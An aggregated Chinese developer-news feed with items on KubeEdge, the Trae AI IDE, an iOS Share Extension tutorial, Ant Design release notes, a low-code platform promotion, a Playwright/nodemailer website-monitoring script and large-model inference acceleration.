后续用户在云端提交的设备更新、删除等指令,会在云端通过云边通道传递给 EdgeCore 后,由 EdgeCore 通过 DMI 接口传递给 Mapper,实现设备管理面能力。同时,Mapper 数据面会调用用户实现的设备驱动能力定时采集设备数据,并按照用户在 Device Instance 配置文件中的定义,通过 HTTP、MQTT 等协议向用户应用推送设备数据,或者将设备数据保存至用户数据库中,完成设备数据的采集上报。

Mapper 数据面能以多种方式处理边缘设备数据,适用于较多的边缘场景,例如温湿度监测、酸碱度监测等。这些场景下设备数据是离散的,能够定时采集上报单点数值。但在边缘计算中,摄像头之类流数据设备的管理也是不可或缺的部分,在本系列的下一篇文章中,我们会对 Mapper 视频流数据处理的功能进行详细的介绍。

▍相关链接

[1] KubeEdge Mapper-Framework 仓库:github.com/kubeedge/ma…

玩转KubeEdge保姆级攻略——环境搭建篇

《玩转KubeEdge保姆级攻略——环境搭建篇》课程主要介绍如何通过华为云服务快速搭建一套KubeEdge边缘计算开发平台及部署Sedna、EdgeMesh等KubeEdge生态组件。

课程免费学习链接connect.huaweicloud.com/courses/lea…

KubeEdge社区介绍: KubeEdge是业界首个云原生边缘计算框架、云原生计算基金会内部唯一孵化级边缘计算开源项目,社区已完成业界最大规模云原生边云协同高速公路项目(统一管理10万边缘节点/50万边缘应用)、业界首个云原生星地协同卫星、业界首个云原生车云协同汽车、业界首个云原生油田项目,开源业界首个分布式协同AI框架Sedna及业界首个边云协同终身学习范式,并在持续开拓创新中。

KubeEdge网站 :  kubeedge.io

GitHub地址 : github.com/kubeedge/ku…

Slack地址 : kubeedge.slack.com

邮件列表 : groups.google.com/forum/#!for…

每周社区例会 : zoom.us/j/416723730…

Twitter : twitter.com/KubeEdge

文档地址 : docs.kubeedge.io/en/latest/

by 容器魔方 at January 21, 2025 06:20 AM

oschina news industry

小红书 App 启用英文名“rednote”

1月21日,小红书App在iOS应用商店正式启用了新的英文名称“rednote”。

值得注意的是英文名称采用全小写字母的形式,而不是此前常被外网翻译的“RedNote”。此外,小红书App的安卓版在Google Play商店也统一改成了“rednote”,此前为“REDnote”。

企查查APP显示,小红书科技有限公司已于2024年5月申请注册多枚“REDnote”商标。目前,其中两枚已成功注册。

by 来源: OSCHINA at January 21, 2025 06:12 AM

juejin freebie

cursor 用户对 trae 的体验感受

背景

最近开始收到陆陆续续的字节自研编辑器 trae 的推文,本着好奇的心理,体验了一下,下面是我的个人感受,目前是仅支持 mac 跟堂主聊了会,节后会上 windows。因为是海外版本,所以需要自备梯子

image.png

开始

下面是使用流程,我放了一些我觉比较有特色的场景,不是全场景 界面很清爽简约 image.png 友好的中文支持

image.png

image.png 添加命令行,可以像 vsc. 或者 code. 打开当前目录 一键导入配置,还支持cursor 方便国人迁移 image.png 登录环节,支持海外的主流三方,可以不用注册很赞

image.png 主界面,和现在vscode cursor 差不多

image.png 由于 trae 内置的是两个主流大模型:

  1. Claude 3.5 Sonnet
  2. GPT-4o 特别是 Claude 3.5 Sonnet 我们知道他分首发版本202406200241022 两个版本 所以我准备调侃一下它

image.png 看的出来还挺严谨的,不过同样的问题我又问了 cursor 内置的模型

image.png

实战

网上其他文章都介绍了 chat 模式和 buider 模式,那我直接从实战开始。 首先来一个经典的贪吃蛇,由于我之前习惯使用 cursor的 composer 所以我直接使用 buider 来帮我

image.png 代码是生成好了,它默认使用 python 来构建 web 服务器,但是我没有装python 环境,所以出现了卡死。 后来我重新进行了纠正,使用 anywhere 来进行构建

web 预览

trae 特色功能之一就是 preview 所以让我们来预览贪吃蛇吧

image.png 刚开始我不会玩,点击 web 预览没反应,后面我尝试先运行再预览就 ok 了。我以为这个功能点击以后会自动运行,目前来看还不行,后面我先看下这个原理,打开了控制栏的开发工具,如下图

image.png 可以看出是用 iframe 实现的和我预期的一样,技术实现不难,创新确实不错👍 比较适合不会编码的小白用户,这小窗口切来切去,还是没整多个显示器方便

Tab 补全

我又尝试了一下智能补全,如下图

image.png 效果还可以,意满离。我又尝试了局部编辑如下图

image.png 这个 Diff 效果做的很好,CodeReview 的时候更方便更清晰

Chat

再说说 Chat 其他功能如下图,感觉跟 cursor 的 @ 操作符差不多

image.png 但是目前有个体验比不上 cusor 的地方就是,我们引用文件的时候得打开这个 # 然后去选择,cursor 选择左侧文件直接扔到对话窗口。好处就是我们比如有多个重名的 index.js 的时候可以很清晰,这点期望 trae 能跟进

Builder

从上面的贪吃蛇实战情况下来看它具备以下能力:

  • Agent升级 | 终端交互能力增强
  • 自我纠错能力,比如 npm i 失败可以自助排查 这个我个人理解的是 cursor 就是 Yolo 模式,简称无人驾驶模式:一句话全搞定。目前整体体验来看,跟 cursor 差不多,并且自带预览功能,更方便。准确度来看,底层模型都一样,难以拉开差距

其他和 cursor 对比

新项目引入

我在一台新电脑上同时使用 cursor 和 trae, 一些体验如下 同时打开了一个新的项目,trae 无事发生,cursor 识别到我是一个 vue 项目,询问我是否需要装 vue 插件

image.png

内存占用

在打开情况下不做任何操作的内存占用:

image.png 不知道为何 trae 稍微高一点 第二次都启动 Agent 模式执行启动命令

image.png 让我们再次看下内存,发现两者一样了

image.png 大家发现 trae 跟 cursor 差不多了,但是你要知道目前 cursor 内置的功能比 trae 丰富,所以得看未来 trae 的表现

个人感受

优点

  1. 免费
    无需多言!
  2. 深度中文定制
    Trae 界面和功能全面本地化,更适合中国宝宝
  3. 强大的 AI 功能
    集成 Claude 3.5 和 GPT-4o,支持智能代码生成、优化建议和多模态交互,可上传图片辅助生成代码,最主要还是免费
  4. 高效项目构建
    提供 Builder 功能,可快速生成项目代码和运行命令,简化开发流程。
  5. 便捷迁移
    支持从 VS Code 或 Cursor 导入配置,实现无缝切换。
  6. Web 预览功能
    支持在 IDE 内预览 Web 页面,方便前端开发。

不足

  1. 性能有待优化
    部分复杂任务下存在卡顿现象。
  2. 上下文引用功能不完善
    对话连贯性不如 Cursor。
  3. 系统兼容性有限
    目前仅支持 MacOS,Windows 用户需等待更新。
  4. 缺乏自定义 API
    无法满足高级用户自定义需求。

总体评价

第一个版本做成这样很不错了,期待未来的版本,有竞争才有动力,不然某家独大,更新随心所欲,苦的就是我们这些用户

by 又在吃鱼 at January 21, 2025 05:59 AM

juejin ios

iOS 分享扩展(一):如何让你的 App 出现在 iOS 系统的分享面板中

这里每天分享一个 iOS 的新知识,快来关注我吧

前言


大家有没有注意到,当你使用 iOS 系统分享面板的时候,有一些 App 是系统的,但也有一些是第三方 App 的,比如微信、微博等等。今天来讲讲如何将你的 App 支持的分享扩展集成到系统分享面板中。

分步操作

第一步:向项目添加 Share 扩展目标

点击 Xcode 菜单中的 + 按钮或选择 File ▸ New ▸ Target

然后搜索并选择 Share Extension,输入名称并创建新的目标。

然后在询问弹窗中点击 Activate

这一步做完之后,当你在手机中唤起系统分享面板时,就可以看到我们刚刚创建的应用了。

当你选中你的应用之后,它会默认将当前的分享内容展示出来,比如我这里访问的是苹果官网,所以分享的内容就是苹果产品相关的内容。

第二步:读取用户分享的内容

默认情况下,当我们创建一个新的 Share 扩展时,Xcode 会自动生成三个文件:

  • info.plist 配置文件

  • MainInterface.storyboard 主界面

  • ShareViewController.swift 分享视图控制器

其中 ShareViewController.swift 文件是分享操作的核心文件,我们所有的分享操作都是在这个文件中完成的。

默认代码如下:

import UIKit
import Social

class ShareViewController: SLComposeServiceViewController {
    override func isContentValid() -> Bool {
        return true
    }

    override func didSelectPost() {
        self.extensionContext!.completeRequest(returningItems: [], completionHandler: nil)
    }

    override func configurationItems() -> [Any]! {
        return []
    }

}

如果我们想读取用户分享的内容,我们需要重写 didSelectPost 方法,当用户点击分享按钮的时候,会调用这个方法,我们可以在这个方法中读取用户分享的内容。

override func didSelectPost() {
    defer {
        close()
    }
    guard let extensionItem = extensionContext?.inputItems.first as? NSExtensionItem,
          let itemProvider = extensionItem.attachments?.first else {
        return
    }
    
    itemProvider.loadItem(forTypeIdentifier: UTType.url.identifier) { (item, error) in
        if let error {
            print("Error: \(error.localizedDescription)")
            return
        }
        
        if let url = item as? URL {
            print("URL is: \(url.absoluteString)")
        }
    }
}

我这里访问的是苹果官网,所以分享的内容就是苹果官网的 URL。itemProvider.loadItem 方法可以读取多种不同类型的数据,比如 URL、图片、文本等。

总结

今天这篇文章只是一个简单的分享功能展示,在更高版本的 iOS 系统中还增加了更多功能,比如自定义分享面板、限制分享的内容、支持消息意图、与主应用共享数据等等,这些我们以后慢慢介绍,我准备做一个系列,感兴趣的小伙伴可以关注我。

希望这篇文章能帮你节省一些时间!如果你有任何改进建议,请告诉我,让我们互相学习。

这里每天分享一个 iOS 的新知识,快来关注我吧

本文同步自微信公众号 “iOS新知”,每天准时分享一个新知识,这里只是同步,想要及时学到就来关注我吧!

by iOS新知 at January 21, 2025 05:59 AM

juejin freebie

2025低代码,蕴藏怎样的机会和挑战?

目录

一、稳定性和生产率的最佳实践

二、低代码基于功能搭建系统

1.可视化应用开发

2.流程管理

3.支持整个平台源码合作

三、最后

关于低代码是什么?简单来说,低代码开发平台是一种软件开发工具,是可以通过无需编码或只用少量代码实现快速生成应用程序的开发平台。

随着企业对应用程序的开发和升级需求不断激增,许多低代码工具越来越受欢迎。近年来,国内有各类SaaS、云服务等厂商持续加码低代码平台的开发,将低代码行业重新翻炒了一遍。

现在部分国内大厂都有自己的低代码平台,阿里的宜搭、腾讯的微搭、百度的爱速搭等,这些巨头的低代码平台在前牵头,像JNPF等一些其他中小企业的低代码产品则紧随其后。

可以确定的是,低代码赛道上的玩家在陆续增多,国内低代码行业正在迎接新一场浪潮。

一、稳定性和生产率的最佳实践

**和所有软件开发技术类似,在低代码开发时最重要的一点就是需要在交付质量和生产率(也称开发效率)之间找到平衡点。**对质量的过分强调意味着会很难及时地提供满足客户需求的产品功能;更多关注生产率则会给让软件质量承担更大风险,甚至导致系统不可用。

为了解决这一个问题,低代码技术在提高开发效率的同时,减少因为编码错误导致的质量风险。而且,在项目声明周期层面,成熟的低代码开发平台与很多无代码工具不同,功能覆盖了从源代码管理、开发、设计、调试到发布的全流程。开发者只需要掌握低代码这一个工具就能完成项目交付,而不需要同时使用多个工具,学习、管理成本和风险都能因此得到降低。正是凭借着这些优势,低代码技术正在被越来越多的企业核心业务系统的开发者所接受和使用。

二、低代码基于功能搭建系统

对于有应用开发需求的企业或开发者来说,如果感兴趣了解如何基于低代码提高开发效率,可以通过这项工具来检验是否符合自身需求。

JNPF低代码平台对于初级开发者是比较友好的,除了开发者手册可以解决90%以上的问题,如果遇到解决不了的,也有官方的交流群体,里面有大佬会解决这些。

页面搭建涵盖开发、预览、测试、发布、回滚、恢复等常用功能。在这些功能的基础上,增加了诸如**"可视化拖拽"、"多用户协同开发"、"导入导出"、"多数据源"、"通知"等功能,形成了一个健全的开发体系。对于第三方集成**,我们的构建成果可以通过将平台上的应用或页面无缝嵌入到现有的后台系统,或者将现有的后台页面嵌入到我们的平台上,实现灵活的组合使用。

1.可视化应用开发

传统后台开发过程中需要开发者自身搭建开发环境,引入前端组件库如Ant Design,相同的功能需要自己提取组件,开发效率低效。

JNPF低代码平台提供了可视化拖拽的面板,支持页面复杂布局。组件栏,并可以组合使用。

在页面绘制方面,通过将其拖入画板,调整位置布局,简单几步完成界面的设计,做到了所见即所得。相同功能可以在画布中复制粘贴,应用本身也支持导入导出功能,方便项目复制。开发变得灵活高效,避免了一些基本构建所产生的bug,达到了降本增效的效果。

在组件的属性值设定方面,可以通过可视化的输入或者通过自定义JS代码的方式进行复杂的逻辑绑定,并且也支持编写js代码完成复杂的交互逻辑。平台内置了多种js库,可以将数据绑定到组件上,在开发状态下能立即看到数据渲染的效果,使得在预览状态下可以边开发边自测。

2.流程管理

业务流程指为了实现某项目,由多人合作,按照一定的规则、顺序进行的一系列活动。JNPF低代码平台实现了可视化流程配置,用户对触发条件、处理节点、节点参与者进行配置,实现自定义业务流程。

强大流程定义功能(节点审批、子流程、条件分支、选择分支、并分支、定时器等),业务逻辑简单好理解、业务流程梳理快捷明了,同时支持一表单多流程的设置。

封装大量具有中国特色的流程动作,满足审批需求,包括权限设置、会签、或签、重审、转审、催办、撤回、加签等审批动作。通过简单的配置,你可以实现自动化的任务分配、审批、通知等功能,提高工作效率。

3.支持整个平台源码合作

采用SpringBoot框架,支持微服务分布式部署,高度重视与合作伙伴的共同发展,支持整个平台源码合作。这意味着你可以获得平台的完整源代码,进行二次开发,创造出独特的价值。

官网:www.jnpfsoft.com/?csdnxl

三、最后

JNPF的产品发布至今还保持这个两个月一个新版本的迭代速度,虽然低代码赛道仍有诸多竞争者,但JNPF的产品在使用上还是获得了一致好评,相信随着JNPF功能的逐步完善能够为开发者创造更多便捷和价值。

by 树上有只程序猿 at January 21, 2025 05:58 AM

oschina news project

Ant Design 5.23.2 发布,企业级 UI 设计语言和 React 实现

Ant Design 5.23.2 现已发布,主要更新内容如下:

  • 修复 Space.Compact 抛出 Should not use more than one & in a selector 警告信息的问题。#52489
  • 修复 Layout 切换侧边栏按钮样式丢失的问题。#52477
  • 修复 Table 收起虚拟滚动表格第一行时滚动条高度不为 0 的问题。#52447
  • 修复 Descriptions 最后一项未正确填充满剩余空间的问题。#52410
  • 修复 Radio.Group 最后一项多余 margin 的问题。#52433
  • 修复 Input/Mentions 清除按钮 padding 不正确的问题。#52407
  • 复 Input 紧凑模式中 addonAfter 的圆角问题。#52490
  • 修复 Menu.Item 在禁用状态下链接仍可点击且缺少禁用样式的问题。#52402
  • TypeScript
    • MISC: 优化 PurePanel 使用 React.ComponentType 类型。#52480
    • 修复 Skeleton 和 Rate 缺失的 token 类型。#52406

更新说明:https://github.com/ant-design/ant-design/releases/tag/5.23.2

by 来源: OSCHINA at January 21, 2025 05:58 AM

oschina news industry

天天 AI-动手学大模型(含 PDF 课件)

2AGI.NET | 探索 AI 无限潜力,2AGI 为您带来最前沿资讯。

2AGI.NET:天天AI-20250121

从开源版o1模型的发布到Adobe推出音乐模型DITTO-2,再到OpenAI为研究长寿推出的GPT-4b,AI技术正以前所未有的速度和规模影响着我们的世界。本文将为您梳理近期的技术热点,带您一探究竟。

全面解读 AI 实践课程:动手学大模型(含PDF课件)

该教程内容较为专业,理解起来有一定难度,因此笔者对其进行了通俗易懂的解读,希望能够帮助读者更轻松地把握课程精髓。当然,若想深入透彻地理解,建议读者按照教程亲自进行实践操作。来源 原文

字节发布全新 AI IDE:Trae!它将成为最懂中文开发者的 IDE

字节发布了一款 AI Coding 产品 —— Trae,它是一款对标 Cursor 和 Windsurf 的全新 IDE,也是一款真正为中文开发者量身定制的工具,可谓是中文开发者的福音。其优雅的 UI、丝滑的交互、母语级的支持、更高的 AI 集成度、更‮然自‬的交‮式互‬对话开发、更‮‬精准的 AI 生‮效成‬果,都让你感到亲切和惊艳!来源  原文 

数字化转型的四步攻略:标准化、信息化、数字化、智能化指南

在当今的数字化时代,企业面临着愈发激烈的市场竞争以及快速变化的客户需求。为了保持竞争优势并实现可持续发展,企业进行数字化转型已成为必然选择。数字化转型是一个涵盖企业各个方面的系统性过程,包括业务流程、组织结构、技术应用等。来源  原文 

开源版o1!中国大模型让国外陷入疯狂,成本猛降90%

AIGC开放社区报道了中国大模型的开源版本o1,这一模型不仅性能卓越,还大幅降低了使用成本,降幅高达90%。这一开源项目在国际上引起了广泛关注,展示了中国在AI技术领域的强大实力。来源  原文 

Adobe、加大推出音乐模型DITTO-2,可精准控制强度、旋律等

AIGC开放社区介绍了Adobe与加州大学合作推出的音乐模型DITTO-2。该模型能够精准控制音乐的强度、旋律等参数,为音乐创作和编辑提供了强大的工具。这一创新不仅推动了音乐AI技术的发展,也为创作者带来了新的可能性。来源  原文 

最新扣子(coze)实战AI应用程序搭建:迎新2025 一键制作微信红包封面网页AI应用,手把手教程

杰克船长的AIGC提供了最新扣子(coze)实战应用的教程,展示了如何一键制作微信红包封面网页AI应用。这一教程为开发者提供了详细的步骤和方法,降低了技术门槛,使得更多人能够参与到AI应用的开发中。来源  原文 

模拟芯片,谁是成长最快企业?

数说商业探讨了模拟芯片领域的成长最快企业,分析了各企业在技术创新和市场拓展方面的表现。模拟芯片在多个领域具有重要应用,这一讨论为理解模拟芯片市场的竞争格局和发展趋势提供了宝贵的视角。来源  原文 

OpenAI开源:20分钟构建多Agent语音系统!

探索AGI报道了OpenAI开源的多Agent语音系统,该系统能够在20分钟内构建完成。这一开源项目不仅展示了OpenAI在多Agent技术方面的最新进展,也为开发者提供了强大的工具,推动了AI技术的普及和应用。来源  原文 

关于AGI OpenAI最新表态

AIGC前沿技术追踪报道了OpenAI关于AGI(人工通用智能)的最新表态,强调了AGI在未来技术发展中的重要性和潜力。这一表态不仅展示了OpenAI在AGI领域的研究方向,也为AI技术的未来发展提供了新的思路。来源  原文 

字节发布 AI 中文开发环境IDE,目标全球开发者

极客公园报道了字节跳动发布的AI中文开发环境IDE,这一工具旨在为全球开发者提供更便捷的开发体验。字节跳动的这一举措不仅推动了AI技术的国际化,也为中文开发者提供了强大的支持。来源  原文 

大语言模型应用开发框架 Eino 正式开源!

AI前线报道了大语言模型应用开发框架Eino的正式开源,这一框架为开发者提供了强大的工具,简化了大语言模型的应用开发过程。Eino的开源不仅推动了AI技术的发展,也为开发者提供了更多的选择和灵活性。来源  原文 

多活十年!OpenAI为研究长寿推出GPT-4b,联手清华大牛丁胜搞“细胞重编程”,奥特曼本人投资

硅星人Pro报道了OpenAI为研究长寿推出的GPT-4b模型,该模型与清华大学的丁胜教授合作,致力于“细胞重编程”研究。这一项目还获得了奥特曼本人的投资,显示了AI技术在生物医学领域的应用潜力。来源  原文 

🔥 热门文章推荐(2AGI.NET)

2AGI 技术社区,欢迎扫码加入

by 来源: 投稿 at January 21, 2025 05:14 AM

juejin frontend

如何用Trae打造一键登录神器?Chrome插件开发实战

字节跳动昨天推出了一款针对中文开发者的 AI 集成开发环境(IDE)—— Trae它是对标 Cursor 和 Windsurf全新的IDE,支持AI问答、代码自动补全、基于Agent的AI编程等功能,可以帮助程序员自动化完成开发任务,但是目前仅支持macOS操作系统,但据相关人员介绍,Windows版本也即将上线。该工具提供简体中文和英文界面,内置了GPT-4o、Claude-3.5-Sonnet等模型供用户免费使用‌;

image.png

下载地址:https://www.trae.ai/

因为公司业务的原因(好几个系统,每个系统登录界面基本一致,每次登录的时候都要填账号和密码登录太麻烦了...),后面就想着开发个自动登录的插件,本来想着用Cursor来开发的,后面想用的时候就收费了,计划就搁浅了。。。

昨天,刷其他文章的时候发现字节新出了一款类似的AI产品,就是我现在要讲的Trae,然后我马上去下载体验了一下,然后发现真的不错!后面也是将这个开发出来了,给大家看看大致功能页面:

image.png

下面我详细说一下我是怎么一步步开发的

一: 大致描述一下你要做什么

比如说我的是:帮我写一个自动登录的google 插件; 它会创建google所需用到的文件、命令都给你,你就应用 执行这些命令就行了

image.png

image.png

到这一步基本没啥问题,我将它打包加载在google浏览器中也能正常运行,不的不称赞一下:牛🐂

二: 将要开发的一步步具体化

image.png

image.png

错误处理

image.png

这里只截取部分截图展示,我也是按照这个步骤慢慢去调整代码的,到这里其实就一步步引导AI需要做什么就行了

三: 结尾

不得不说,现在的AI实在是太强大,最近看的和体验的这几个AI工具: Cursor,Windsurf,Vscode+cline还有就是现在的Trae,还是Trae给我的体验是最好的(个人观点),趁着现在还免费,赶紧用起来,感觉后期还是会收费的;

最后附上源码(仅供参考,大家可以在此基础上优化,帮忙点个赞): github.com/lance-Yang/…

by Nickyang at January 21, 2025 04:37 AM

使用字节 TRAE 开发一个牛马工具

大家好我是 luckySnail。在浏览流媒体的时候,发现都在推荐这个工具,字节刚刚发布了 AI 编辑器 - TRAE(The Real AI Engineer),真正的 AI 引擎吗?,必须赶紧体验一波,刚好想要开发一个小工具,希望它不要让我失望。偷偷说一下它已经让 windows 用户失望了,因为它目前仅支持 mac 电脑。你可以看冴羽的这篇了解TRAE:juejin.cn/post/746182…

初体验

让我们新建一个文件夹,为什么叫这个名字,接下来你就知道了。

image-20250120234325232

接下来我们要做一个工具来帮我监控我的公司项目是否都正常运行。如果出问题了,就需要赶紧通知我出事了,赶紧爬起来修 bug !

简单的梳理了一下需求,我使用了它的 builder 能力来初始化项目,提问:“我要做一个小的工具来帮我们监控我的公司项目是否都正常运行。如果出问题了,就需要赶紧通知我出事了,赶紧修 bug 。通知方式是邮箱通知,使用前端技术实现,我如何实现?我目前调研可以使用 Playwright 来做充分的网站可用性检测,使用nodemailer 来进行邮箱通知,由于 nodemailer 是必须 node 环境,所以你需要给我搭建一个 node 服务”,这里我是预先告诉了它如何实现,防止它给出不合理的实现方式。

然后它很快理解了我们的需求,并且搭建好了一个基础服务:

image-20250121022615877

启动项目后发现邮箱服务是有问题的,于是我把错误信息给它,然后问它为什么?如何修复?但是会出现:

image-20250121011726558

于是我只能切换 chat 模式,发现是正常的,我把问题和相关代码(使用引用能力)给到它。它也很快发现了问题,然后给出了解决的方法。

我模拟了一个网站出现问题的场景,然后我们可以看到当检查网站存在问题的时候,就会触发发送邮件的逻辑:

image-20250121012111907

到这里基本的流程算是跑通了,我们可以继续提问 AI,代码层面是否可以继续优化:

image-20250121020151382

它给出了一些比较好的建议,我们可以点击“全部接受”,然后先安装依赖,再次启动查看一下效果:

image-20250121020340837

这一次,它给出了更加细致的日志信息,但是我们发现最后一个 error 不太正常,我们问一下 AI 这个是否是正常日志,AI 发现了问题,并进行了修复,我们重启验证逻辑没有问题

image-20250121020902787

邮箱也收到了告警信息!

到这里其实基本的牛马已经做好了,它能够实时的帮我监控网站是否运行良好,保证服务异常及时通知到人。但是真正场景下,需要的不仅仅是网站正常加载,还有很多其他需要监控的东西。

下面我们来看看 AI 的代码水平怎么样吧!

const { chromium } = require("@playwright/test");
const nodemailer = require("nodemailer");
const cron = require("node-cron");
const winston = require("winston"); // 添加日志库

// 配置日志
const logger = winston.createLogger({
  format: winston.format.combine(winston.format.timestamp(), winston.format.json()),
  transports: [
    new winston.transports.File({ filename: "error.log", level: "error" }),
    new winston.transports.File({ filename: "combined.log" }),
    new winston.transports.Console(),
  ],
});

// 邮件配置
const transporter = nodemailer.createTransport({
  host: "smtp.qq.com",
  port: 465, // 修改为465端口
  secure: true, // 设置为true
  auth: {
    user: "3074994545@qq.com", // 补充完整的QQ邮箱地址
    pass: "xxxx", // QQ邮箱授权码
  },
});

// 要监控的网站列表
const websites = [
  {
    name: "老鱼简历",
    url: "https://laoyujianli.com",
    checkElements: [".laoyu-page-container", ".new-index-page", ".template-item"],
  },
  {
    name: "编程导航",
    url: "https://codefather.cn",
    checkElements: [".ant-layout", ".user-name"],
  },
  {
    name: "面试鸭",
    url: "https://mianshiya.cn", // 移除多余的空格
    checkElements: ["#indexPage", ".ant-list-item", "#ccc"],
    retryCount: 3, // 添加重试次数
    retryDelay: 5000, // 重试延迟时间(毫秒)
  },
];

// 浏览器实例管理
let browserInstance = null;
async function getBrowser() {
  if (!browserInstance) {
    browserInstance = await chromium.launch({
      timeout: 60000,
    });
  }
  return browserInstance;
}

// 检查网站可用性
async function checkWebsite(site) {
  const startTime = Date.now();
  const browser = await getBrowser();
  const context = await browser.newContext({
    userAgent:
      "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
  });

  try {
    const page = await context.newPage();
    logger.info(`正在检查网站: ${site.name}`);

    let lastError;
    // 添加重试机制
    for (let i = 0; i < (site.retryCount || 1); i++) {
      try {
        // 设置页面加载超时时间
        await page.goto(site.url, {
          timeout: 30000,
          waitUntil: "networkidle", // 等待网络空闲
        });

        // 检查关键元素是否存在
        for (const selector of site.checkElements) {
          try {
            await page.waitForSelector(selector, { timeout: 5000 });
          } catch (elementError) {
            console.log(`元素 ${selector} 未找到,继续检查其他元素`);
          }
        }

        console.log(`${site.name} 检查通过`);
        return { success: true };
      } catch (error) {
        lastError = error;
        if (i < (site.retryCount || 1) - 1) {
          console.log(`${site.name} 检查失败,等待 ${site.retryDelay || 5000}ms 后重试...`);
          await new Promise((resolve) => setTimeout(resolve, site.retryDelay || 5000));
        }
      }
    }

    console.error(`${site.name} 检查失败:`, lastError.message);
    return {
      success: false,
      error: lastError.message,
    };
  } finally {
    await context.close(); // 只关闭 context,不关闭浏览器
  }
}

// 添加进程退出时的清理
process.on("SIGTERM", async () => {
  logger.info("服务正在关闭...");
  if (browserInstance) {
    await browserInstance.close();
    browserInstance = null;
  }
  process.exit(0);
});

process.on("SIGINT", async () => {
  logger.info("服务正在关闭...");
  if (browserInstance) {
    await browserInstance.close();
    browserInstance = null;
  }
  process.exit(0);
});

// 发送告警邮件
async function sendAlertEmail(site, error) {
  const mailOptions = {
    from: "3074994545@qq.com", // 使用完整的发件人邮箱
    to: "3074994545@qq.com", // 使用完整的收件人邮箱
    subject: `🚨 网站异常告警: ${site.name}`,
    html: `
      <h2>网站监控告警</h2>
      <p><strong>网站名称:</strong> ${site.name}</p>
      <p><strong>网站地址:</strong> ${site.url}</p>
      <p><strong>错误信息:</strong> ${error}</p>
      <p><strong>发生时间:</strong> ${new Date().toLocaleString()}</p>
    `,
  };

  try {
    await transporter.sendMail(mailOptions);
    console.log(`已发送告警邮件 - ${site.name}`);
  } catch (error) {
    console.error("发送邮件失败:", error);
    // 如果是认证错误,输出更详细的信息
    if (error.code === "EAUTH") {
      console.error("邮箱认证失败,请检查以下内容:");
      console.error("1. 确保QQ邮箱已开启SMTP服务");
      console.error("2. 确保使用的是正确的授权码而不是邮箱密码");
      console.error("3. 访问 https://service.mail.qq.com/cgi-bin/help?subtype=1&&id=28&&no=1001256 获取帮助");
    }
  }
}

// 执行监控任务
async function runMonitoring() {
  // 添加并发限制
  const concurrentLimit = 2;
  const chunks = [];
  for (let i = 0; i < websites.length; i += concurrentLimit) {
    chunks.push(websites.slice(i, i + concurrentLimit));
  }

  for (const chunk of chunks) {
    await Promise.all(
      chunk.map(async (site) => {
        try {
          const result = await checkWebsite(site);
          if (!result.success) {
            await sendAlertEmail(site, result.error);
          }
        } catch (error) {
          logger.error(`监控任务执行失败 (${site.name}):`, {
            error: error.message,
            stack: error.stack,
          });
        }
      })
    );
  }
}

// 添加优雅退出处理
process.on("SIGTERM", async () => {
  logger.info("服务正在关闭...");
  if (browserInstance) {
    await browserInstance.close();
  }
  process.exit(0);
});

// 设置定时任务,每5分钟执行一次监控
cron.schedule("*/5 * * * *", () => {
  console.log("开始执行网站监控...");
  runMonitoring();
});

// 立即执行一次监控
console.log("启动网站监控服务...");
runMonitoring();

你觉得写的怎么样呢?我觉得蛮好的:

  • 代码逻辑清晰,每个函数都符合单一原则,开发中它也提醒我要把 websites 配置信息单独创建文件存储
  • 能够基于代码进行重构优化,使用社区流行的 winston 日志库来记录信息
  • 有重试,try catch 兜底逻辑

总结

  1. TRAE 的 UI 和交互不输 cursor
  2. builder 模式下,提出一个需求,它能快速帮我拆解需求,生成项目,安装依赖,启动项目到最后的 web 预览。这对没有接触过编程的人更加友好
  3. 在有些时候,它也会乱说,明明有问题,但是硬说已经解决了!
  4. 连接不稳定,经常网络错误,这个非常影响开发体验
  5. 免费使用 claude 3.5 和 chatGpt 很香。
  6. 代码块右上角的一些能力非常好用,例如应用功能,能够智能的把相关的内容进行替换,然后通过 diff 清晰的让你知道你修改了什么
  7. 感觉模型深度链接了代码上下文,能给出和我目前项目相关的代码

需要深度使用才能发现它更多使用场景!

by 蜗牛快跑123 at January 21, 2025 04:23 AM

juejin article

大模型推理加速的研究与分析

背景

在2024年全球机器学习技术大会上,大模型的技术进步以及推理阶段的高效性成为了广泛关注的焦点。近年来,随着大规模语言模型(LLM)的参数量和功能复杂性的快速增长,其在实际应用中的计算开销和性能瓶颈逐渐显现,尤其是在推理阶段。如何在有限的硬件资源条件下有效加速推理过程,降低延迟并提升吞吐量,已经成为技术研发的核心议题。

大模型推理不仅仅是单一的算法优化问题,而是涉及到硬件、软件、算法、系统框架等多层次协同优化的综合工程。实际应用场景中,大模型的推理效率直接影响用户体验,尤其是在需要实时响应的场景下,诸如语音生成、智能对话、多模态翻译等任务。因此,推理加速不仅是技术挑战,同时也对大模型的商业化落地具有重要的意义。

在本研究中,基于最新技术实践,我们对大模型推理加速的关键技术进行了分析,并结合MindIE-LLM框架的具体优化案例,探索了从算法到硬件的多层次优化方案。本文的核心目标是为研究者和工程师提供系统化的推理加速思路,助力大模型在实际场景中的高效应用。

一、大模型推理的挑战

大模型在实际应用中的运行成本和推理时间是两个必须考虑的重要因素。一方面,越来越庞大的模型需要更多的计算资源,包括显卡的高负载和大量的内存使用。另一方面,最终用户希望在推理时获得快速的响应时间,这就需要有效的大模型推理加速方案。

大模型推理的主要挑战包括:

1. 高计算成本和内存需求

大模型通常拥有数十亿甚至上百亿的参数,这使得模型在推理阶段需要大量的计算资源和能耗。如图(1)所示,超大模型参数和超长序列是大模型的发展趋势,这使得大模型推理对计算和内存的需求日益增加。例如,具有700亿参数的LLaMA-2-70B模型在推理时需要至少6张RTX 3090Ti GPU或者2张NVIDIA A100 GPU,且多卡并行是必不可少的,以保证推理的高效执行。

图(1)(来源:大会演示PPT截图 )

此外,模型参数的增长速度远快于硬件内存容量的提升速度,如图(2)所示,Transformer模型中的参数数量(红色)呈现出2年240倍的超指数增长,而单个GPU内存(绿色)仅以每2年2倍的速度扩大,这进一步加剧了推理中的内存瓶颈问题。

图(2)(来源:大会演示PPT截图 )

即使在高端硬件条件下,模型推理也面临着计算和内存资源的双重压力,尤其是在需要处理长序列输入的情况下,推理的带宽和延迟也会成为瓶颈。整体来看,模型推理需要依赖于多卡、多节点并行计算,硬件的高端限制也进一步提高了大模型推理的门槛,成为当前技术发展的重要挑战之一。

2. 延迟和吞吐量之间的权衡

